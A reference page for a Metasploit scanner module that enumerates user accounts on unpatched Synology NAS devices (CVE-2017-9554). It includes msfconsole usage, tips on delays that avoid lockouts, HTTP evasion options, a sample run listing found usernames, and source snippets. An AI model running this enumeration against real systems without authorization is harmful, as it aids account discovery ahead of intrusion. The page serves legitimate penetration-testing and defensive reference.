Synology Forget Password User Enumeration Scanner - Metasploit


This page contains detailed information about how to use the auxiliary/scanner/http/synology_forget_passwd_user_enum metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Synology Forget Password User Enumeration Scanner
Module: auxiliary/scanner/http/synology_forget_passwd_user_enum
Source code: modules/auxiliary/scanner/http/synology_forget_passwd_user_enum.rb
Disclosure date: 2011-01-05
Last modification time: 2021-08-27 17:15:33 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 5000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2017-9554

This module attempts to enumerate users on the Synology NAS by sending GET requests for the forgot password URL. The Synology NAS will respond differently if a user is present or not. These count as login attempts, and the default is 10 logins in 5min to get a permanent block. Set delay accordingly to avoid this, as default is permanent. Vulnerable DSMs are: DSM 6.1 < 6.1.3-15152 DSM 6.0 < 6.0.3-8754-4 DSM 5.2 < 5.2-5967-04

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/scanner/http/synology_forget_passwd_user_enum
msf auxiliary(synology_forget_passwd_user_enum) > show options
    ... show and set options ...
msf auxiliary(synology_forget_passwd_user_enum) > set RHOSTS ip-range
msf auxiliary(synology_forget_passwd_user_enum) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(synology_forget_passwd_user_enum) > set RHOSTS 192.168.1.3-192.168.1.200 

Example 2:

msf auxiliary(synology_forget_passwd_user_enum) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(synology_forget_passwd_user_enum) > set RHOSTS file:/tmp/ip_list.txt

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base


Vulnerable Application


This module attempts to enumerate users on the Synology NAS by sending GET requests for the forgot password URL. The Synology NAS will respond differently if a user is present or not. These count as login attempts, and the default is 10 logins in 5min to get a permanent block. Set delay accordingly to avoid this, as default is permanent.

Vulnerable DSMs are: * DSM 6.1 < 6.1.3-15152 * DSM 6.0 < 6.0.3-8754-4 * DSM 5.2 < 5.2-5967-04

Enumeration is case insensitive.

To turn off Auto Block: Control Panel (Advanced Mode) > Security > Auto Block.

To unblock: Control Panel (Advanced Mode) > Security > Auto Block > Allow/Block List > Block List.

Responses

The server responds with a JSON object and a 'msg' key. The values translate as:

  • msg 1 - means user can login to GUI
  • msg 2 - means user exists but no GUI login
  • msg 3 - means feature disabled, or patched
  • msg 4 - means no user
  • msg 5 - means auto block is enabled and youre blocked. Default is 10 login attempts, and these

Verification Steps


  1. Install the application
  2. Start msfconsole
  3. Do: use auxiliary/scanner/http/synology_forget_passwd_user_enum
  4. Do: set rhosts [ip]
  5. Do: set delay [seconds]
  6. You should hopefully find some usernames

Options


Delay

The delay in seconds between enumeration attempts. Default lockout policy is 10 attempts in 5min, so this should avoid the lockout. Default is 36.

USER_LIST

The username list to use, defaults to data/wordlists/unix_users.txt

Scenarios


DS412+ with DSM 5.2-5644 with auto block turned off

  [*] Processing syn_login.rb for ERB directives.
  resource (syn_login.rb)> use auxiliary/scanner/http/synology_forget_passwd_user_enum
  resource (syn_login.rb)> set rhosts 2.2.2.2
  rhosts => 2.2.2.2
  resource (syn_login.rb)> set delay 0
  delay => 0
  resource (syn_login.rb)> run
  [+] admin - admin group
  [+] avahi - no mail or no priviege
  [+] ftp - no mail or no priviege
  [+] guest - no mail or no priviege
  [+] lp - no mail or no priviege
  [+] mysql - no mail or no priviege
  [+] nobody - no mail or no priviege
  [+] ntp - no mail or no priviege
  [+] postfix - no mail or no priviege
  [+] postgres - no mail or no priviege
  [+] root - no mail or no priviege
  [+] ROOT - no mail or no priviege
  [+] http://2.2.2.2:5000/ - Users found: ROOT, admin, avahi, ftp, guest, lp, mysql, nobody, ntp, postfix, postgres, root
  [*] Scanned 1 of 1 hosts (100% complete)
  [*] Auxiliary module execution completed

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Msfconsole Usage


Here is how the scanner/http/synology_forget_passwd_user_enum auxiliary module looks in the msfconsole:

msf6 > use auxiliary/scanner/http/synology_forget_passwd_user_enum

msf6 auxiliary(scanner/http/synology_forget_passwd_user_enum) > show info

       Name: Synology Forget Password User Enumeration Scanner
     Module: auxiliary/scanner/http/synology_forget_passwd_user_enum
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2011-01-05

Provided by:
  h00die
  Steve Kaun

Check supported:
  No

Basic options:
  Name       Current Setting                                                             Required  Description
  ----       ---------------                                                             --------  -----------
  DELAY      36                                                                          yes       Seconds delay to add to avoid lockout
  Proxies                                                                                no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                                                                                 yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT      5000                                                                        yes       The target port (TCP)
  SSL        false                                                                       no        Negotiate SSL/TLS for outgoing connections
  TARGETURI  /                                                                           yes       The path to users Synology Web Interface
  THREADS    1                                                                           yes       The number of concurrent threads (max one per host)
  USER_FILE  /opt/metasploit-framework/embedded/framework/data/wordlists/unix_users.txt  no        File containing users, one per line
  VHOST                                                                                  no        HTTP server virtual host

Description:
  This module attempts to enumerate users on the Synology NAS by 
  sending GET requests for the forgot password URL. The Synology NAS 
  will respond differently if a user is present or not. These count as 
  login attempts, and the default is 10 logins in 5min to get a 
  permanent block. Set delay accordingly to avoid this, as default is 
  permanent. Vulnerable DSMs are: DSM 6.1 < 6.1.3-15152 DSM 6.0 < 
  6.0.3-8754-4 DSM 5.2 < 5.2-5967-04

References:
  https://www.exploit-db.com/exploits/43455
  https://nvd.nist.gov/vuln/detail/CVE-2017-9554
  https://www.synology.com/en-global/security/advisory/Synology_SA_17_29_DSM

Module Options


This is a complete list of options available in the scanner/http/synology_forget_passwd_user_enum auxiliary module:

msf6 auxiliary(scanner/http/synology_forget_passwd_user_enum) > show options

Module options (auxiliary/scanner/http/synology_forget_passwd_user_enum):

   Name       Current Setting                                                             Required  Description
   ----       ---------------                                                             --------  -----------
   DELAY      36                                                                          yes       Seconds delay to add to avoid lockout
   Proxies                                                                                no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                                                                                 yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      5000                                                                        yes       The target port (TCP)
   SSL        false                                                                       no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                                                                           yes       The path to users Synology Web Interface
   THREADS    1                                                                           yes       The number of concurrent threads (max one per host)
   USER_FILE  /opt/metasploit-framework/embedded/framework/data/wordlists/unix_users.txt  no        File containing users, one per line
   VHOST                                                                                  no        HTTP server virtual host

Advanced Options


Here is a complete list of advanced options supported by the scanner/http/synology_forget_passwd_user_enum auxiliary module:

msf6 auxiliary(scanner/http/synology_forget_passwd_user_enum) > show advanced

Module advanced options (auxiliary/scanner/http/synology_forget_passwd_user_enum):

   Name                  Current Setting                                     Required  Description
   ----                  ---------------                                     --------  -----------
   DOMAIN                WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FingerprintCheck      true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                         no        HTTP connection and receive timeout
   HttpPassword                                                              no        The HTTP password to specify for authentication
   HttpRawHeaders                                                            no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                              no        The HTTP username to specify for authentication
   SSLVersion            Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   ShowProgress          true                                                yes       Display progress messages during a scan
   ShowProgressPercent   10                                                  yes       The interval in percent that progress should be shown
   UserAgent             Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE               false                                               no        Enable detailed status messages
   WORKSPACE                                                                 no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the scanner/http/synology_forget_passwd_user_enum module can do:

msf6 auxiliary(scanner/http/synology_forget_passwd_user_enum) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the scanner/http/synology_forget_passwd_user_enum auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(scanner/http/synology_forget_passwd_user_enum) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

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Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

USER_FILE can not be read


Here is a relevant code snippet related to the "USER_FILE can not be read" error message:

55:	
56:	  def run_host(_ip)
57:	    @users_found = {}
58:	
59:	    unless File.readable?(datastore['USER_FILE'])
60:	      fail_with(Failure::BadConfig, 'USER_FILE can not be read')
61:	    end
62:	    users = File.new(datastore['USER_FILE']).read.split
63:	    users.each do |user|
64:	      do_enum(user)
65:	      vprint_status("Delaying #{datastore['DELAY']}s") if datastore['DELAY'] > 0 # dont flood the prompt

<FULL_URI> - No users found.


Here is a relevant code snippet related to the "<FULL_URI> - No users found." error message:

65:	      vprint_status("Delaying #{datastore['DELAY']}s") if datastore['DELAY'] > 0 # dont flood the prompt
66:	      Rex.sleep(datastore['DELAY'])
67:	    end
68:	
69:	    if @users_found.empty?
70:	      print_status("#{full_uri} - No users found.")
71:	    else
72:	      print_good("#{full_uri} - Users found: #{@users_found.keys.sort.join(', ')}")
73:	      report_note(
74:	        host: rhost,
75:	        port: rport,

Connection to host refused


Here is a relevant code snippet related to the "Connection to host refused" error message:

114:	      'vars_get' => {
115:	        'user' => username
116:	      }
117:	    })
118:	    unless res
119:	      print_error('Connection to host refused')
120:	      fail_with(Failure::Unreachable, 'Connection to host refused')
121:	    end
122:	    j = res.get_json_document
123:	    if j['msg'] == 5
124:	      fail_with(Failure::Disconnected, 'You have been locked out.  Retry later or increase DELAY')

Connection to host refused


Here is a relevant code snippet related to the "Connection to host refused" error message:

115:	        'user' => username
116:	      }
117:	    })
118:	    unless res
119:	      print_error('Connection to host refused')
120:	      fail_with(Failure::Unreachable, 'Connection to host refused')
121:	    end
122:	    j = res.get_json_document
123:	    if j['msg'] == 5
124:	      fail_with(Failure::Disconnected, 'You have been locked out.  Retry later or increase DELAY')
125:	    end

You have been locked out. Retry later or increase DELAY


Here is a relevant code snippet related to the "You have been locked out. Retry later or increase DELAY" error message:

119:	      print_error('Connection to host refused')
120:	      fail_with(Failure::Unreachable, 'Connection to host refused')
121:	    end
122:	    j = res.get_json_document
123:	    if j['msg'] == 5
124:	      fail_with(Failure::Disconnected, 'You have been locked out.  Retry later or increase DELAY')
125:	    end
126:	    if j['msg'] == 3
127:	      fail_with(Failure::UnexpectedReply, 'Device patched or feature disabled')
128:	    end
129:	    if j['msg'] == 2 || j['msg'] == 1

Device patched or feature disabled


Here is a relevant code snippet related to the "Device patched or feature disabled" error message:

122:	    j = res.get_json_document
123:	    if j['msg'] == 5
124:	      fail_with(Failure::Disconnected, 'You have been locked out.  Retry later or increase DELAY')
125:	    end
126:	    if j['msg'] == 3
127:	      fail_with(Failure::UnexpectedReply, 'Device patched or feature disabled')
128:	    end
129:	    if j['msg'] == 2 || j['msg'] == 1
130:	      print_good("#{username} - #{j['info']}")
131:	      @users_found[username] = :reported
132:	      report_cred(

Connection to host refused


Here is a relevant code snippet related to the "Connection to host refused" error message:

141:	    # msg 3 means not supported/disabled/patched
142:	    # msg 4 means no user
143:	    # msg 5 means auto block is enabled and youre blocked. Default is 10 login attempts, and these
144:	    #     count as lgin attempts.
145:	  rescue Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionError
146:	    print_error('Connection to host refused')
147:	    fail_with(Failure::Unreachable, 'Connection to host refused')
148:	  rescue Timeout::Error, Errno::EPIPE
149:	    fail_with(Failure::Unreachable, 'Connection issue')
150:	  end
151:	end

Connection to host refused


Here is a relevant code snippet related to the "Connection to host refused" error message:

141:	    # msg 3 means not supported/disabled/patched
142:	    # msg 4 means no user
143:	    # msg 5 means auto block is enabled and youre blocked. Default is 10 login attempts, and these
144:	    #     count as lgin attempts.
145:	  rescue Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionError
146:	    print_error('Connection to host refused')
147:	    fail_with(Failure::Unreachable, 'Connection to host refused')
148:	  rescue Timeout::Error, Errno::EPIPE
149:	    fail_with(Failure::Unreachable, 'Connection issue')
150:	  end
151:	end

Connection issue


Here is a relevant code snippet related to the "Connection issue" error message:

141:	    # msg 3 means not supported/disabled/patched
142:	    # msg 4 means no user
143:	    # msg 5 means auto block is enabled and youre blocked. Default is 10 login attempts, and these
144:	    #     count as lgin attempts.
145:	  rescue Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionError
146:	    print_error('Connection to host refused')
147:	    fail_with(Failure::Unreachable, 'Connection to host refused')
148:	  rescue Timeout::Error, Errno::EPIPE
149:	    fail_with(Failure::Unreachable, 'Connection issue')
150:	  end
151:	end

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References


See Also


Check also the following modules related to this module:

Authors


  • h00die
  • Steve Kaun

Version


This page has been produced using Metasploit Framework version 6.1.36-dev. For more modules, visit the Metasploit Module Library.

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